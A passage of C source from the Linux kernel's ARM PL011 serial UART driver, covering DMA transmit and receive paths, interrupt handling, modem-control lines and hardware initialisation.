u16 dmacr;
spin_lock_irqsave(&uap->port.lock, flags);
if (uap->dmatx.queued)
dma_unmap_sg(dmatx->chan->device->dev, &dmatx->sg, 1,
DMA_TO_DEVICE);
dmacr = uap->dmacr;
uap->dmacr = dmacr & ~UART011_TXDMAE;
pl011_write(uap->dmacr, uap, REG_DMACR);
/*
* If TX DMA was disabled, it means that we've stopped the DMA for
* some reason (eg, XOFF received, or we want to send an X-char.)
*
* Note: we need to be careful here of a potential race between DMA
* and the rest of the driver - if the driver disables TX DMA while
* a TX buffer completing, we must update the tx queued status to
* get further refills (hence we check dmacr).
*/
if (!(dmacr & UART011_TXDMAE) || uart_tx_stopped(&uap->port) ||
uart_circ_empty(&uap->port.state->xmit)) {
uap->dmatx.queued = false;
spin_unlock_irqrestore(&uap->port.lock, flags);
return;
}
if (pl011_dma_tx_refill(uap) <= 0)
/*
* We didn't queue a DMA buffer for some reason, but we
* have data pending to be sent. Re-enable the TX IRQ.
*/
pl011_start_tx_pio(uap);
spin_unlock_irqrestore(&uap->port.lock, flags);
}
/*
* Try to refill the TX DMA buffer.
* Locking: called with port lock held and IRQs disabled.
* Returns:
* 1 if we queued up a TX DMA buffer.
* 0 if we didn't want to handle this by DMA
* <0 on error
*/
static int pl011_dma_tx_refill(struct uart_amba_port *uap)
{
struct pl011_dmatx_data *dmatx = &uap->dmatx;
struct dma_chan *chan = dmatx->chan;
struct dma_device *dma_dev = chan->device;
struct dma_async_tx_descriptor *desc;
struct circ_buf *xmit = &uap->port.state->xmit;
unsigned int count;
/*
* Try to avoid the overhead involved in using DMA if the
* transaction fits in the first half of the FIFO, by using
* the standard interrupt handling. This ensures that we
* issue a uart_write_wakeup() at the appropriate time.
*/
count = uart_circ_chars_pending(xmit);
if (count < (uap->fifosize >> 1)) {
uap->dmatx.queued = false;
return 0;
}
/*
* Bodge: don't send the last character by DMA, as this
* will prevent XON from notifying us to restart DMA.
*/
count -= 1;
/* Else proceed to copy the TX chars to the DMA buffer and fire DMA */
if (count > PL011_DMA_BUFFER_SIZE)
count = PL011_DMA_BUFFER_SIZE;
if (xmit->tail < xmit->head)
memcpy(&dmatx->buf[0], &xmit->buf[xmit->tail], count);
else {
size_t first = UART_XMIT_SIZE - xmit->tail;
size_t second;
if (first > count)
first = count;
second = count - first;
memcpy(&dmatx->buf[0], &xmit->buf[xmit->tail], first);
if (second)
memcpy(&dmatx->buf[first], &xmit->buf[0], second);
}
dmatx->sg.length = count;
if (dma_map_sg(dma_dev->dev, &dmatx->sg, 1, DMA_TO_DEVICE) != 1) {
uap->dmatx.queued = false;
dev_dbg(uap->port.dev, "unable to map TX DMA\n");
return -EBUSY;
}
desc = dmaengine_prep_slave_sg(chan, &dmatx->sg, 1, DMA_MEM_TO_DEV,
DMA_PREP_INTERRUPT | DMA_CTRL_ACK);
if (!desc) {
dma_unmap_sg(dma_dev->dev, &dmatx->sg, 1, DMA_TO_DEVICE);
uap->dmatx.queued = false;
/*
* If DMA cannot be used right now, we complete this
* transaction via IRQ and let the TTY layer retry.
*/
dev_dbg(uap->port.dev, "TX DMA busy\n");
return -EBUSY;
}
/* Some data to go along to the callback */
desc->callback = pl011_dma_tx_callback;
desc->callback_param = uap;
/* All errors should happen at prepare time */
dmaengine_submit(desc);
/* Fire the DMA transaction */
dma_dev->device_issue_pending(chan);
uap->dmacr |= UART011_TXDMAE;
pl011_write(uap->dmacr, uap, REG_DMACR);
uap->dmatx.queued = true;
/*
* Now we know that DMA will fire, so advance the ring buffer
* with the stuff we just dispatched.
*/
xmit->tail = (xmit->tail + count) & (UART_XMIT_SIZE - 1);
uap->port.icount.tx += count;
if (uart_circ_chars_pending(xmit) < WAKEUP_CHARS)
uart_write_wakeup(&uap->port);
return 1;
}
/*
* We received a transmit interrupt without a pending X-char but with
* pending characters.
* Locking: called with port lock held and IRQs disabled.
* Returns:
* false if we want to use PIO to transmit
* true if we queued a DMA buffer
*/
static bool pl011_dma_tx_irq(struct uart_amba_port *uap)
{
if (!uap->using_tx_dma)
return false;
/*
* If we already have a TX buffer queued, but received a
* TX interrupt, it will be because we've just sent an X-char.
* Ensure the TX DMA is enabled and the TX IRQ is disabled.
*/
if (uap->dmatx.queued) {
uap->dmacr |= UART011_TXDMAE;
pl011_write(uap->dmacr, uap, REG_DMACR);
uap->im &= ~UART011_TXIM;
pl011_write(uap->im, uap, REG_IMSC);
return true;
}
/*
* We don't have a TX buffer queued, so try to queue one.
* If we successfully queued a buffer, mask the TX IRQ.
*/
if (pl011_dma_tx_refill(uap) > 0) {
uap->im &= ~UART011_TXIM;
pl011_write(uap->im, uap, REG_IMSC);
return true;
}
return false;
}
/*
* Stop the DMA transmit (eg, due to received XOFF).
* Locking: called with port lock held and IRQs disabled.
*/
static inline void pl011_dma_tx_stop(struct uart_amba_port *uap)
{
if (uap->dmatx.queued) {
uap->dmacr &= ~UART011_TXDMAE;
pl011_write(uap->dmacr, uap, REG_DMACR);
}
}
/*
* Try to start a DMA transmit, or in the case of an XON/OFF
* character queued for send, try to get that character out ASAP.
* Locking: called with port lock held and IRQs disabled.
* Returns:
* false if we want the TX IRQ to be enabled
* true if we have a buffer queued
*/
static inline bool pl011_dma_tx_start(struct uart_amba_port *uap)
{
u16 dmacr;
if (!uap->using_tx_dma)
return false;
if (!uap->port.x_char) {
/* no X-char, try to push chars out in DMA mode */
bool ret = true;
if (!uap->dmatx.queued) {
if (pl011_dma_tx_refill(uap) > 0) {
uap->im &= ~UART011_TXIM;
pl011_write(uap->im, uap, REG_IMSC);
} else
ret = false;
} else if (!(uap->dmacr & UART011_TXDMAE)) {
uap->dmacr |= UART011_TXDMAE;
pl011_write(uap->dmacr, uap, REG_DMACR);
}
return ret;
}
/*
* We have an X-char to send. Disable DMA to prevent it loading
* the TX fifo, and then see if we can stuff it into the FIFO.
*/
dmacr = uap->dmacr;
uap->dmacr &= ~UART011_TXDMAE;
pl011_write(uap->dmacr, uap, REG_DMACR);
if (pl011_read(uap, REG_FR) & UART01x_FR_TXFF) {
/*
* No space in the FIFO, so enable the transmit interrupt
* so we know when there is space. Note that once we've
* loaded the character, we should just re-enable DMA.
*/
return false;
}
pl011_write(uap->port.x_char, uap, REG_DR);
uap->port.icount.tx++;
uap->port.x_char = 0;
/* Success - restore the DMA state */
uap->dmacr = dmacr;
pl011_write(dmacr, uap, REG_DMACR);
return true;
}
/*
* Flush the transmit buffer.
* Locking: called with port lock held and IRQs disabled.
*/
static void pl011_dma_flush_buffer(struct uart_port *port)
__releases(&uap->port.lock)
__acquires(&uap->port.lock)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
if (!uap->using_tx_dma)
return;
/* Avoid deadlock with the DMA engine callback */
spin_unlock(&uap->port.lock);
dmaengine_terminate_all(uap->dmatx.chan);
spin_lock(&uap->port.lock);
if (uap->dmatx.queued) {
dma_unmap_sg(uap->dmatx.chan->device->dev, &uap->dmatx.sg, 1,
DMA_TO_DEVICE);
uap->dmatx.queued = false;
uap->dmacr &= ~UART011_TXDMAE;
pl011_write(uap->dmacr, uap, REG_DMACR);
}
}
static void pl011_dma_rx_callback(void *data);
static int pl011_dma_rx_trigger_dma(struct uart_amba_port *uap)
{
struct dma_chan *rxchan = uap->dmarx.chan;
struct pl011_dmarx_data *dmarx = &uap->dmarx;
struct dma_async_tx_descriptor *desc;
struct pl011_sgbuf *sgbuf;
if (!rxchan)
return -EIO;
/* Start the RX DMA job */
sgbuf = uap->dmarx.use_buf_b ?
&uap->dmarx.sgbuf_b : &uap->dmarx.sgbuf_a;
desc = dmaengine_prep_slave_sg(rxchan, &sgbuf->sg, 1,
DMA_DEV_TO_MEM,
DMA_PREP_INTERRUPT | DMA_CTRL_ACK);
/*
* If the DMA engine is busy and cannot prepare a
* channel, no big deal, the driver will fall back
* to interrupt mode as a result of this error code.
*/
if (!desc) {
uap->dmarx.running = false;
dmaengine_terminate_all(rxchan);
return -EBUSY;
}
/* Some data to go along to the callback */
desc->callback = pl011_dma_rx_callback;
desc->callback_param = uap;
dmarx->cookie = dmaengine_submit(desc);
dma_async_issue_pending(rxchan);
uap->dmacr |= UART011_RXDMAE;
pl011_write(uap->dmacr, uap, REG_DMACR);
uap->dmarx.running = true;
uap->im &= ~UART011_RXIM;
pl011_write(uap->im, uap, REG_IMSC);
return 0;
}
/*
* This is called when either the DMA job is complete, or
* the FIFO timeout interrupt occurred. This must be called
* with the port spinlock uap->port.lock held.
*/
static void pl011_dma_rx_chars(struct uart_amba_port *uap,
u32 pending, bool use_buf_b,
bool readfifo)
{
struct tty_port *port = &uap->port.state->port;
struct pl011_sgbuf *sgbuf = use_buf_b ?
&uap->dmarx.sgbuf_b : &uap->dmarx.sgbuf_a;
int dma_count = 0;
u32 fifotaken = 0; /* only used for vdbg() */
struct pl011_dmarx_data *dmarx = &uap->dmarx;
int dmataken = 0;
if (uap->dmarx.poll_rate) {
/* The data can be taken by polling */
dmataken = sgbuf->sg.length - dmarx->last_residue;
/* Recalculate the pending size */
if (pending >= dmataken)
pending -= dmataken;
}
/* Pick the remain data from the DMA */
if (pending) {
/*
* First take all chars in the DMA pipe, then look in the FIFO.
* Note that tty_insert_flip_buf() tries to take as many chars
* as it can.
*/
dma_count = tty_insert_flip_string(port, sgbuf->buf + dmataken,
pending);
uap->port.icount.rx += dma_count;
if (dma_count < pending)
dev_warn(uap->port.dev,
"couldn't insert all characters (TTY is full?)\n");
}
/* Reset the last_residue for Rx DMA poll */
if (uap->dmarx.poll_rate)
dmarx->last_residue = sgbuf->sg.length;
/*
* Only continue with trying to read the FIFO if all DMA chars have
* been taken first.
*/
if (dma_count == pending && readfifo) {
/* Clear any error flags */
pl011_write(UART011_OEIS | UART011_BEIS | UART011_PEIS |
UART011_FEIS, uap, REG_ICR);
/*
* If we read all the DMA'd characters, and we had an
* incomplete buffer, that could be due to an rx error, or
* maybe we just timed out. Read any pending chars and check
* the error status.
*
* Error conditions will only occur in the FIFO, these will
* trigger an immediate interrupt and stop the DMA job, so we
* will always find the error in the FIFO, never in the DMA
* buffer.
*/
fifotaken = pl011_fifo_to_tty(uap);
}
spin_unlock(&uap->port.lock);
dev_vdbg(uap->port.dev,
"Took %d chars from DMA buffer and %d chars from the FIFO\n",
dma_count, fifotaken);
tty_flip_buffer_push(port);
spin_lock(&uap->port.lock);
}
static void pl011_dma_rx_irq(struct uart_amba_port *uap)
{
struct pl011_dmarx_data *dmarx = &uap->dmarx;
struct dma_chan *rxchan = dmarx->chan;
struct pl011_sgbuf *sgbuf = dmarx->use_buf_b ?
&dmarx->sgbuf_b : &dmarx->sgbuf_a;
size_t pending;
struct dma_tx_state state;
enum dma_status dmastat;
/*
* Pause the transfer so we can trust the current counter,
* do this before we pause the PL011 block, else we may
* overflow the FIFO.
*/
if (dmaengine_pause(rxchan))
dev_err(uap->port.dev, "unable to pause DMA transfer\n");
dmastat = rxchan->device->device_tx_status(rxchan,
dmarx->cookie, &state);
if (dmastat != DMA_PAUSED)
dev_err(uap->port.dev, "unable to pause DMA transfer\n");
/* Disable RX DMA - incoming data will wait in the FIFO */
uap->dmacr &= ~UART011_RXDMAE;
pl011_write(uap->dmacr, uap, REG_DMACR);
uap->dmarx.running = false;
pending = sgbuf->sg.length - state.residue;
BUG_ON(pending > PL011_DMA_BUFFER_SIZE);
/* Then we terminate the transfer - we now know our residue */
dmaengine_terminate_all(rxchan);
/*
* This will take the chars we have so far and insert
* into the framework.
*/
pl011_dma_rx_chars(uap, pending, dmarx->use_buf_b, true);
/* Switch buffer & re-trigger DMA job */
dmarx->use_buf_b = !dmarx->use_buf_b;
if (pl011_dma_rx_trigger_dma(uap)) {
dev_dbg(uap->port.dev, "could not retrigger RX DMA job "
"fall back to interrupt mode\n");
uap->im |= UART011_RXIM;
pl011_write(uap->im, uap, REG_IMSC);
}
}
static void pl011_dma_rx_callback(void *data)
{
struct uart_amba_port *uap = data;
struct pl011_dmarx_data *dmarx = &uap->dmarx;
struct dma_chan *rxchan = dmarx->chan;
bool lastbuf = dmarx->use_buf_b;
struct pl011_sgbuf *sgbuf = dmarx->use_buf_b ?
&dmarx->sgbuf_b : &dmarx->sgbuf_a;
size_t pending;
struct dma_tx_state state;
int ret;
/*
* This completion interrupt occurs typically when the
* RX buffer is totally stuffed but no timeout has yet
* occurred. When that happens, we just want the RX
* routine to flush out the secondary DMA buffer while
* we immediately trigger the next DMA job.
*/
spin_lock_irq(&uap->port.lock);
/*
* Rx data can be taken by the UART interrupts during
* the DMA irq handler. So we check the residue here.
*/
rxchan->device->device_tx_status(rxchan, dmarx->cookie, &state);
pending = sgbuf->sg.length - state.residue;
BUG_ON(pending > PL011_DMA_BUFFER_SIZE);
/* Then we terminate the transfer - we now know our residue */
dmaengine_terminate_all(rxchan);
uap->dmarx.running = false;
dmarx->use_buf_b = !lastbuf;
ret = pl011_dma_rx_trigger_dma(uap);
pl011_dma_rx_chars(uap, pending, lastbuf, false);
spin_unlock_irq(&uap->port.lock);
/*
* Do this check after we picked the DMA chars so we don't
* get some IRQ immediately from RX.
*/
if (ret) {
dev_dbg(uap->port.dev, "could not retrigger RX DMA job "
"fall back to interrupt mode\n");
uap->im |= UART011_RXIM;
pl011_write(uap->im, uap, REG_IMSC);
}
}
/*
* Stop accepting received characters, when we're shutting down or
* suspending this port.
* Locking: called with port lock held and IRQs disabled.
*/
static inline void pl011_dma_rx_stop(struct uart_amba_port *uap)
{
/* FIXME. Just disable the DMA enable */
uap->dmacr &= ~UART011_RXDMAE;
pl011_write(uap->dmacr, uap, REG_DMACR);
}
/*
* Timer handler for Rx DMA polling.
* Every polling, It checks the residue in the dma buffer and transfer
* data to the tty. Also, last_residue is updated for the next polling.
*/
static void pl011_dma_rx_poll(unsigned long args)
{
struct uart_amba_port *uap = (struct uart_amba_port *)args;
struct tty_port *port = &uap->port.state->port;
struct pl011_dmarx_data *dmarx = &uap->dmarx;
struct dma_chan *rxchan = uap->dmarx.chan;
unsigned long flags = 0;
unsigned int dmataken = 0;
unsigned int size = 0;
struct pl011_sgbuf *sgbuf;
int dma_count;
struct dma_tx_state state;
sgbuf = dmarx->use_buf_b ? &uap->dmarx.sgbuf_b : &uap->dmarx.sgbuf_a;
rxchan->device->device_tx_status(rxchan, dmarx->cookie, &state);
if (likely(state.residue < dmarx->last_residue)) {
dmataken = sgbuf->sg.length - dmarx->last_residue;
size = dmarx->last_residue - state.residue;
dma_count = tty_insert_flip_string(port, sgbuf->buf + dmataken,
size);
if (dma_count == size)
dmarx->last_residue = state.residue;
dmarx->last_jiffies = jiffies;
}
tty_flip_buffer_push(port);
/*
* If no data is received in poll_timeout, the driver will fall back
* to interrupt mode. We will retrigger DMA at the first interrupt.
*/
if (jiffies_to_msecs(jiffies - dmarx->last_jiffies)
> uap->dmarx.poll_timeout) {
spin_lock_irqsave(&uap->port.lock, flags);
pl011_dma_rx_stop(uap);
uap->im |= UART011_RXIM;
pl011_write(uap->im, uap, REG_IMSC);
spin_unlock_irqrestore(&uap->port.lock, flags);
uap->dmarx.running = false;
dmaengine_terminate_all(rxchan);
del_timer(&uap->dmarx.timer);
} else {
mod_timer(&uap->dmarx.timer,
jiffies + msecs_to_jiffies(uap->dmarx.poll_rate));
}
}
static void pl011_dma_startup(struct uart_amba_port *uap)
{
int ret;
if (!uap->dma_probed)
pl011_dma_probe(uap);
if (!uap->dmatx.chan)
return;
uap->dmatx.buf = kmalloc(PL011_DMA_BUFFER_SIZE, GFP_KERNEL | __GFP_DMA);
if (!uap->dmatx.buf) {
dev_err(uap->port.dev, "no memory for DMA TX buffer\n");
uap->port.fifosize = uap->fifosize;
return;
}
sg_init_one(&uap->dmatx.sg, uap->dmatx.buf, PL011_DMA_BUFFER_SIZE);
/* The DMA buffer is now the FIFO the TTY subsystem can use */
uap->port.fifosize = PL011_DMA_BUFFER_SIZE;
uap->using_tx_dma = true;
if (!uap->dmarx.chan)
goto skip_rx;
/* Allocate and map DMA RX buffers */
ret = pl011_sgbuf_init(uap->dmarx.chan, &uap->dmarx.sgbuf_a,
DMA_FROM_DEVICE);
if (ret) {
dev_err(uap->port.dev, "failed to init DMA %s: %d\n",
"RX buffer A", ret);
goto skip_rx;
}
ret = pl011_sgbuf_init(uap->dmarx.chan, &uap->dmarx.sgbuf_b,
DMA_FROM_DEVICE);
if (ret) {
dev_err(uap->port.dev, "failed to init DMA %s: %d\n",
"RX buffer B", ret);
pl011_sgbuf_free(uap->dmarx.chan, &uap->dmarx.sgbuf_a,
DMA_FROM_DEVICE);
goto skip_rx;
}
uap->using_rx_dma = true;
skip_rx:
/* Turn on DMA error (RX/TX will be enabled on demand) */
uap->dmacr |= UART011_DMAONERR;
pl011_write(uap->dmacr, uap, REG_DMACR);
/*
* ST Micro variants has some specific dma burst threshold
* compensation. Set this to 16 bytes, so burst will only
* be issued above/below 16 bytes.
*/
if (uap->vendor->dma_threshold)
pl011_write(ST_UART011_DMAWM_RX_16 | ST_UART011_DMAWM_TX_16,
uap, REG_ST_DMAWM);
if (uap->using_rx_dma) {
if (pl011_dma_rx_trigger_dma(uap))
dev_dbg(uap->port.dev, "could not trigger initial "
"RX DMA job, fall back to interrupt mode\n");
if (uap->dmarx.poll_rate) {
init_timer(&(uap->dmarx.timer));
uap->dmarx.timer.function = pl011_dma_rx_poll;
uap->dmarx.timer.data = (unsigned long)uap;
mod_timer(&uap->dmarx.timer,
jiffies +
msecs_to_jiffies(uap->dmarx.poll_rate));
uap->dmarx.last_residue = PL011_DMA_BUFFER_SIZE;
uap->dmarx.last_jiffies = jiffies;
}
}
}
static void pl011_dma_shutdown(struct uart_amba_port *uap)
{
if (!(uap->using_tx_dma || uap->using_rx_dma))
return;
/* Disable RX and TX DMA */
while (pl011_read(uap, REG_FR) & UART01x_FR_BUSY)
cpu_relax();
spin_lock_irq(&uap->port.lock);
uap->dmacr &= ~(UART011_DMAONERR | UART011_RXDMAE | UART011_TXDMAE);
pl011_write(uap->dmacr, uap, REG_DMACR);
spin_unlock_irq(&uap->port.lock);
if (uap->using_tx_dma) {
/* In theory, this should already be done by pl011_dma_flush_buffer */
dmaengine_terminate_all(uap->dmatx.chan);
if (uap->dmatx.queued) {
dma_unmap_sg(uap->dmatx.chan->device->dev, &uap->dmatx.sg, 1,
DMA_TO_DEVICE);
uap->dmatx.queued = false;
}
kfree(uap->dmatx.buf);
uap->using_tx_dma = false;
}
if (uap->using_rx_dma) {
dmaengine_terminate_all(uap->dmarx.chan);
/* Clean up the RX DMA */
pl011_sgbuf_free(uap->dmarx.chan, &uap->dmarx.sgbuf_a, DMA_FROM_DEVICE);
pl011_sgbuf_free(uap->dmarx.chan, &uap->dmarx.sgbuf_b, DMA_FROM_DEVICE);
if (uap->dmarx.poll_rate)
del_timer_sync(&uap->dmarx.timer);
uap->using_rx_dma = false;
}
}
static inline bool pl011_dma_rx_available(struct uart_amba_port *uap)
{
return uap->using_rx_dma;
}
static inline bool pl011_dma_rx_running(struct uart_amba_port *uap)
{
return uap->using_rx_dma && uap->dmarx.running;
}
#else
/* Blank functions if the DMA engine is not available */
static inline void pl011_dma_probe(struct uart_amba_port *uap)
{
}
static inline void pl011_dma_remove(struct uart_amba_port *uap)
{
}
static inline void pl011_dma_startup(struct uart_amba_port *uap)
{
}
static inline void pl011_dma_shutdown(struct uart_amba_port *uap)
{
}
static inline bool pl011_dma_tx_irq(struct uart_amba_port *uap)
{
return false;
}
static inline void pl011_dma_tx_stop(struct uart_amba_port *uap)
{
}
static inline bool pl011_dma_tx_start(struct uart_amba_port *uap)
{
return false;
}
static inline void pl011_dma_rx_irq(struct uart_amba_port *uap)
{
}
static inline void pl011_dma_rx_stop(struct uart_amba_port *uap)
{
}
static inline int pl011_dma_rx_trigger_dma(struct uart_amba_port *uap)
{
return -EIO;
}
static inline bool pl011_dma_rx_available(struct uart_amba_port *uap)
{
return false;
}
static inline bool pl011_dma_rx_running(struct uart_amba_port *uap)
{
return false;
}
#define pl011_dma_flush_buffer NULL
#endif
static void pl011_stop_tx(struct uart_port *port)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
uap->im &= ~UART011_TXIM;
pl011_write(uap->im, uap, REG_IMSC);
pl011_dma_tx_stop(uap);
}
static void pl011_tx_chars(struct uart_amba_port *uap, bool from_irq);
/* Start TX with programmed I/O only (no DMA) */
static void pl011_start_tx_pio(struct uart_amba_port *uap)
{
uap->im |= UART011_TXIM;
pl011_write(uap->im, uap, REG_IMSC);
pl011_tx_chars(uap, false);
}
static void pl011_start_tx(struct uart_port *port)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
if (!pl011_dma_tx_start(uap))
pl011_start_tx_pio(uap);
}
static void pl011_stop_rx(struct uart_port *port)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
uap->im &= ~(UART011_RXIM|UART011_RTIM|UART011_FEIM|
UART011_PEIM|UART011_BEIM|UART011_OEIM);
pl011_write(uap->im, uap, REG_IMSC);
pl011_dma_rx_stop(uap);
}
static void pl011_enable_ms(struct uart_port *port)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
uap->im |= UART011_RIMIM|UART011_CTSMIM|UART011_DCDMIM|UART011_DSRMIM;
pl011_write(uap->im, uap, REG_IMSC);
}
static void pl011_rx_chars(struct uart_amba_port *uap)
__releases(&uap->port.lock)
__acquires(&uap->port.lock)
{
pl011_fifo_to_tty(uap);
spin_unlock(&uap->port.lock);
tty_flip_buffer_push(&uap->port.state->port);
/*
* If we were temporarily out of DMA mode for a while,
* attempt to switch back to DMA mode again.
*/
if (pl011_dma_rx_available(uap)) {
if (pl011_dma_rx_trigger_dma(uap)) {
dev_dbg(uap->port.dev, "could not trigger RX DMA job "
"fall back to interrupt mode again\n");
uap->im |= UART011_RXIM;
pl011_write(uap->im, uap, REG_IMSC);
} else {
#ifdef CONFIG_DMA_ENGINE
/* Start Rx DMA poll */
if (uap->dmarx.poll_rate) {
uap->dmarx.last_jiffies = jiffies;
uap->dmarx.last_residue = PL011_DMA_BUFFER_SIZE;
mod_timer(&uap->dmarx.timer,
jiffies +
msecs_to_jiffies(uap->dmarx.poll_rate));
}
#endif
}
}
spin_lock(&uap->port.lock);
}
static bool pl011_tx_char(struct uart_amba_port *uap, unsigned char c,
bool from_irq)
{
if (unlikely(!from_irq) &&
pl011_read(uap, REG_FR) & UART01x_FR_TXFF)
return false; /* unable to transmit character */
pl011_write(c, uap, REG_DR);
uap->port.icount.tx++;
return true;
}
static void pl011_tx_chars(struct uart_amba_port *uap, bool from_irq)
{
struct circ_buf *xmit = &uap->port.state->xmit;
int count = uap->fifosize >> 1;
if (uap->port.x_char) {
if (!pl011_tx_char(uap, uap->port.x_char, from_irq))
return;
uap->port.x_char = 0;
--count;
}
if (uart_circ_empty(xmit) || uart_tx_stopped(&uap->port)) {
pl011_stop_tx(&uap->port);
return;
}
/* If we are using DMA mode, try to send some characters. */
if (pl011_dma_tx_irq(uap))
return;
do {
if (likely(from_irq) && count-- == 0)
break;
if (!pl011_tx_char(uap, xmit->buf[xmit->tail], from_irq))
break;
xmit->tail = (xmit->tail + 1) & (UART_XMIT_SIZE - 1);
} while (!uart_circ_empty(xmit));
if (uart_circ_chars_pending(xmit) < WAKEUP_CHARS)
uart_write_wakeup(&uap->port);
if (uart_circ_empty(xmit))
pl011_stop_tx(&uap->port);
}
static void pl011_modem_status(struct uart_amba_port *uap)
{
unsigned int status, delta;
status = pl011_read(uap, REG_FR) & UART01x_FR_MODEM_ANY;
delta = status ^ uap->old_status;
uap->old_status = status;
if (!delta)
return;
if (delta & UART01x_FR_DCD)
uart_handle_dcd_change(&uap->port, status & UART01x_FR_DCD);
if (delta & UART01x_FR_DSR)
uap->port.icount.dsr++;
if (delta & UART01x_FR_CTS)
uart_handle_cts_change(&uap->port, status & UART01x_FR_CTS);
wake_up_interruptible(&uap->port.state->port.delta_msr_wait);
}
static void check_apply_cts_event_workaround(struct uart_amba_port *uap)
{
unsigned int dummy_read;
if (!uap->vendor->cts_event_workaround)
return;
/* workaround to make sure that all bits are unlocked.. */
pl011_write(0x00, uap, REG_ICR);
/*
* WA: introduce 26ns(1 uart clk) delay before W1C;
* single apb access will incur 2 pclk(133.12Mhz) delay,
* so add 2 dummy reads
*/
dummy_read = pl011_read(uap, REG_ICR);
dummy_read = pl011_read(uap, REG_ICR);
}
static irqreturn_t pl011_int(int irq, void *dev_id)
{
struct uart_amba_port *uap = dev_id;
unsigned long flags;
unsigned int status, pass_counter = AMBA_ISR_PASS_LIMIT;
u16 imsc;
int handled = 0;
spin_lock_irqsave(&uap->port.lock, flags);
imsc = pl011_read(uap, REG_IMSC);
status = pl011_read(uap, REG_RIS) & imsc;
if (status) {
do {
check_apply_cts_event_workaround(uap);
pl011_write(status & ~(UART011_TXIS|UART011_RTIS|
UART011_RXIS),
uap, REG_ICR);
if (status & (UART011_RTIS|UART011_RXIS)) {
if (pl011_dma_rx_running(uap))
pl011_dma_rx_irq(uap);
else
pl011_rx_chars(uap);
}
if (status & (UART011_DSRMIS|UART011_DCDMIS|
UART011_CTSMIS|UART011_RIMIS))
pl011_modem_status(uap);
if (status & UART011_TXIS)
pl011_tx_chars(uap, true);
if (pass_counter-- == 0)
break;
status = pl011_read(uap, REG_RIS) & imsc;
} while (status != 0);
handled = 1;
}
spin_unlock_irqrestore(&uap->port.lock, flags);
return IRQ_RETVAL(handled);
}
static unsigned int pl011_tx_empty(struct uart_port *port)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
unsigned int status = pl011_read(uap, REG_FR);
return status & (UART01x_FR_BUSY|UART01x_FR_TXFF) ? 0 : TIOCSER_TEMT;
}
static unsigned int pl011_get_mctrl(struct uart_port *port)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
unsigned int result = 0;
unsigned int status = pl011_read(uap, REG_FR);
#define TIOCMBIT(uartbit, tiocmbit) \
if (status & uartbit) \
result |= tiocmbit
TIOCMBIT(UART01x_FR_DCD, TIOCM_CAR);
TIOCMBIT(UART01x_FR_DSR, TIOCM_DSR);
TIOCMBIT(UART01x_FR_CTS, TIOCM_CTS);
TIOCMBIT(UART011_FR_RI, TIOCM_RNG);
#undef TIOCMBIT
return result;
}
static void pl011_set_mctrl(struct uart_port *port, unsigned int mctrl)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
unsigned int cr;
cr = pl011_read(uap, REG_CR);
#define TIOCMBIT(tiocmbit, uartbit) \
if (mctrl & tiocmbit) \
cr |= uartbit; \
else \
cr &= ~uartbit
TIOCMBIT(TIOCM_RTS, UART011_CR_RTS);
TIOCMBIT(TIOCM_DTR, UART011_CR_DTR);
TIOCMBIT(TIOCM_OUT1, UART011_CR_OUT1);
TIOCMBIT(TIOCM_OUT2, UART011_CR_OUT2);
TIOCMBIT(TIOCM_LOOP, UART011_CR_LBE);
if (uap->autorts) {
/* We need to disable auto-RTS if we want to turn RTS off */
TIOCMBIT(TIOCM_RTS, UART011_CR_RTSEN);
}
#undef TIOCMBIT
pl011_write(cr, uap, REG_CR);
}
static void pl011_break_ctl(struct uart_port *port, int break_state)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
unsigned long flags;
unsigned int lcr_h;
spin_lock_irqsave(&uap->port.lock, flags);
lcr_h = pl011_read(uap, REG_LCRH_TX);
if (break_state == -1)
lcr_h |= UART01x_LCRH_BRK;
else
lcr_h &= ~UART01x_LCRH_BRK;
pl011_write(lcr_h, uap, REG_LCRH_TX);
spin_unlock_irqrestore(&uap->port.lock, flags);
}
#ifdef CONFIG_CONSOLE_POLL
static void pl011_quiesce_irqs(struct uart_port *port)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
pl011_write(pl011_read(uap, REG_MIS), uap, REG_ICR);
/*
* There is no way to clear TXIM as this is "ready to transmit IRQ", so
* we simply mask it. start_tx() will unmask it.
*
* Note we can race with start_tx(), and if the race happens, the
* polling user might get another interrupt just after we clear it.
* But it should be OK and can happen even w/o the race, e.g.
* controller immediately got some new data and raised the IRQ.
*
* And whoever uses polling routines assumes that it manages the device
* (including tx queue), so we're also fine with start_tx()'s caller
* side.
*/
pl011_write(pl011_read(uap, REG_IMSC) & ~UART011_TXIM, uap,
REG_IMSC);
}
static int pl011_get_poll_char(struct uart_port *port)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
unsigned int status;
/*
* The caller might need IRQs lowered, e.g. if used with KDB NMI
* debugger.
*/
pl011_quiesce_irqs(port);
status = pl011_read(uap, REG_FR);
if (status & UART01x_FR_RXFE)
return NO_POLL_CHAR;
return pl011_read(uap, REG_DR);
}
static void pl011_put_poll_char(struct uart_port *port,
unsigned char ch)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
while (pl011_read(uap, REG_FR) & UART01x_FR_TXFF)
cpu_relax();
pl011_write(ch, uap, REG_DR);
}
#endif /* CONFIG_CONSOLE_POLL */
static int pl011_hwinit(struct uart_port *port)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
int retval;
/* Optionaly enable pins to be muxed in and configured */
pinctrl_pm_select_default_state(port->dev);
/*
* Try to enable the clock producer.
*/
retval = clk_prepare_enable(uap->clk);
if (retval)
return retval;
uap->port.uartclk = clk_get_rate(uap->clk);
/* Clear pending error and receive interrupts */
pl011_write(UART011_OEIS | UART011_BEIS | UART011_PEIS |
UART011_FEIS | UART011_RTIS | UART011_RXIS,
uap, REG_ICR);
/*
* Save interrupts enable mask, and enable RX interrupts in case if
* the interrupt is used for NMI entry.
*/
uap->im = pl011_read(uap, REG_IMSC);
pl011_write(UART011_RTIM | UART011_RXIM, uap, REG_IMSC);
